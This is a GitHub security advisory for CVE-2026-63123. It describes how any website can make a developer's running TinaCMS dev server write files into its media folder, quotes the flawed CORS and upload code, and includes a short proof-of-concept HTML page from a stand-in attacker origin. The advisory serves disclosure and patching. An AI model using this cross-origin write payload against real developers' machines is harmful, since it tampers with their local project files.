GHSA-RGR9-R7MJ-MF6X

Vulnerability from github – Published: 2026-08-19 21:56 – Updated: 2026-08-21 18:31
VLAI
Summary
Tina: Cross-origin `POST /media/upload/*` requests can write arbitrary files into the Tina dev server media root
Details

Summary

A browser-based cross-origin request flaw in the Tina dev server allows an attacker-controlled website to cause arbitrary file creation inside the configured media upload directory on a developer machine running tinacms dev. No manual file upload is required. The attacker page builds the multipart request in JavaScript and sends it directly to the local Tina server. The browser blocks access to the response because of CORS, but the server still processes the request and writes the file.

Details

The issue is in the dev server path of @tinacms/cli.

The Vite dev server installs CORS middleware:

// packages/@tinacms/cli/src/next/vite/plugins.ts
server.middlewares.use(
  cors({
    origin: corsOriginCheck,
    methods: ['GET', 'HEAD', 'PUT', 'PATCH', 'POST', 'DELETE'],
  })
);

For disallowed origins, the origin callback only returns false to the CORS library:

// packages/@tinacms/cli/src/next/vite/cors.ts
return (origin, callback) => {
  ...
  callback(null, false);
};

That does not reject the request server-side. The same request is still routed into the upload handler:

// packages/@tinacms/cli/src/next/vite/plugins.ts
if (req.url.startsWith('/media/upload')) {
  await mediaRouter.handlePost(req, res);
  return;
}

The upload handler then accepts attacker-controlled path and body data and writes the file:

// packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts
bb.on('file', async (_name, file, _info) => {
  const fullPath = decodeURIComponent(
    req.url?.slice('/media/upload/'.length)
  );
  const saveTo = resolveStrictlyWithinBase(fullPath, mediaFolder);
  await fs.ensureDir(path.dirname(saveTo));
  file.pipe(fs.createWriteStream(saveTo));
});

This is exploitable because multipart/form-data is a simple browser request and does not require a preflight. CORS only prevents the attacking page from reading the response; it does not stop the local Tina server from processing the state-changing request.

I validated this locally with a browser-backed repro: - the request origin was a disallowed non-localhost origin, - the browser treated the fetch as blocked, - the local Tina media file was still written with attacker-controlled contents.

The demonstrated impact is limited to arbitrary file creation inside the configured Tina media root. I did not demonstrate traversal outside that directory or code execution.

PoC

Minimal reproduction:

  1. Start a Tina dev server so the media upload route is reachable at:
http://127.0.0.1:<TINA_PORT>/media/upload/<filename>
  1. From a different, non-allowed origin such as http://evil.test:8000, serve this page:
<!doctype html>
<script>
(async () => {
  const form = new FormData();
  form.append(
    'file',
    new Blob(['poc-from-cross-origin'], { type: 'text/plain' }),
    'poc.txt'
  );

  try {
    await fetch('http://127.0.0.1:<TINA_PORT>/media/upload/poc.txt', {
      method: 'POST',
      body: form,
    });
    console.log('fetch resolved');
  } catch {
    console.log('fetch blocked by CORS');
  }
})();
</script>
  1. Open that page in a browser while the Tina dev server is running.

  2. Observe:

  3. the browser reports the cross-origin request as blocked or inaccessible,
  4. but poc.txt is still created in the configured media directory, commonly:
public/uploads/poc.txt
  1. Verify the file contents are:
poc-from-cross-origin

This reproduces the vulnerability without any victim-side manual upload action.

Impact

This is a browser-mediated arbitrary file write into the Tina dev server’s configured media root. The affected population is developers or operators running the local Tina dev server and visiting an attacker-controlled webpage. The demonstrated impact is integrity impact on local project files under the upload root. I did not demonstrate write outside the media root, GraphQL mutation CSRF, or code execution.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@tinacms/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63123"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-19T21:56:36Z",
    "nvd_published_at": "2026-08-19T22:16:58Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA browser-based cross-origin request flaw in the Tina dev server allows an attacker-controlled website to cause arbitrary file creation inside the configured media upload directory on a developer machine running `tinacms dev`. No manual file upload is required. The attacker page builds the multipart request in JavaScript and sends it directly to the local Tina server. The browser blocks access to the response because of CORS, but the server still processes the request and writes the file.\n\n### Details\nThe issue is in the dev server path of `@tinacms/cli`.\n\nThe Vite dev server installs CORS middleware:\n\n```ts\n// packages/@tinacms/cli/src/next/vite/plugins.ts\nserver.middlewares.use(\n  cors({\n    origin: corsOriginCheck,\n    methods: [\u0027GET\u0027, \u0027HEAD\u0027, \u0027PUT\u0027, \u0027PATCH\u0027, \u0027POST\u0027, \u0027DELETE\u0027],\n  })\n);\n```\n\nFor disallowed origins, the origin callback only returns `false` to the CORS library:\n\n```ts\n// packages/@tinacms/cli/src/next/vite/cors.ts\nreturn (origin, callback) =\u003e {\n  ...\n  callback(null, false);\n};\n```\n\nThat does not reject the request server-side. The same request is still routed into the upload handler:\n\n```ts\n// packages/@tinacms/cli/src/next/vite/plugins.ts\nif (req.url.startsWith(\u0027/media/upload\u0027)) {\n  await mediaRouter.handlePost(req, res);\n  return;\n}\n```\n\nThe upload handler then accepts attacker-controlled path and body data and writes the file:\n\n```ts\n// packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts\nbb.on(\u0027file\u0027, async (_name, file, _info) =\u003e {\n  const fullPath = decodeURIComponent(\n    req.url?.slice(\u0027/media/upload/\u0027.length)\n  );\n  const saveTo = resolveStrictlyWithinBase(fullPath, mediaFolder);\n  await fs.ensureDir(path.dirname(saveTo));\n  file.pipe(fs.createWriteStream(saveTo));\n});\n```\n\nThis is exploitable because `multipart/form-data` is a simple browser request and does not require a preflight. CORS only prevents the attacking page from reading the response; it does not stop the local Tina server from processing the state-changing request.\n\nI validated this locally with a browser-backed repro:\n- the request origin was a disallowed non-localhost origin,\n- the browser treated the fetch as blocked,\n- the local Tina media file was still written with attacker-controlled contents.\n\nThe demonstrated impact is limited to arbitrary file creation inside the configured Tina media root. I did not demonstrate traversal outside that directory or code execution.\n\n### PoC\nMinimal reproduction:\n\n1. Start a Tina dev server so the media upload route is reachable at:\n```text\nhttp://127.0.0.1:\u003cTINA_PORT\u003e/media/upload/\u003cfilename\u003e\n```\n\n2. From a different, non-allowed origin such as `http://evil.test:8000`, serve this page:\n\n```html\n\u003c!doctype html\u003e\n\u003cscript\u003e\n(async () =\u003e {\n  const form = new FormData();\n  form.append(\n    \u0027file\u0027,\n    new Blob([\u0027poc-from-cross-origin\u0027], { type: \u0027text/plain\u0027 }),\n    \u0027poc.txt\u0027\n  );\n\n  try {\n    await fetch(\u0027http://127.0.0.1:\u003cTINA_PORT\u003e/media/upload/poc.txt\u0027, {\n      method: \u0027POST\u0027,\n      body: form,\n    });\n    console.log(\u0027fetch resolved\u0027);\n  } catch {\n    console.log(\u0027fetch blocked by CORS\u0027);\n  }\n})();\n\u003c/script\u003e\n```\n\n3. Open that page in a browser while the Tina dev server is running.\n\n4. Observe:\n- the browser reports the cross-origin request as blocked or inaccessible,\n- but `poc.txt` is still created in the configured media directory, commonly:\n```text\npublic/uploads/poc.txt\n```\n\n5. Verify the file contents are:\n```text\npoc-from-cross-origin\n```\n\nThis reproduces the vulnerability without any victim-side manual upload action.\n\n### Impact\nThis is a browser-mediated arbitrary file write into the Tina dev server\u2019s configured media root. The affected population is developers or operators running the local Tina dev server and visiting an attacker-controlled webpage. The demonstrated impact is integrity impact on local project files under the upload root. I did not demonstrate write outside the media root, GraphQL mutation CSRF, or code execution.",
  "id": "GHSA-rgr9-r7mj-mf6x",
  "modified": "2026-08-21T18:31:29Z",
  "published": "2026-08-19T21:56:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-rgr9-r7mj-mf6x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63123"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/pull/7111"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/commit/211997cdb53cbd43638bdee999faa65375cfc260"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinacms/tinacms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@2.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Tina: Cross-origin `POST /media/upload/*` requests can write arbitrary files into the Tina dev server media root"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.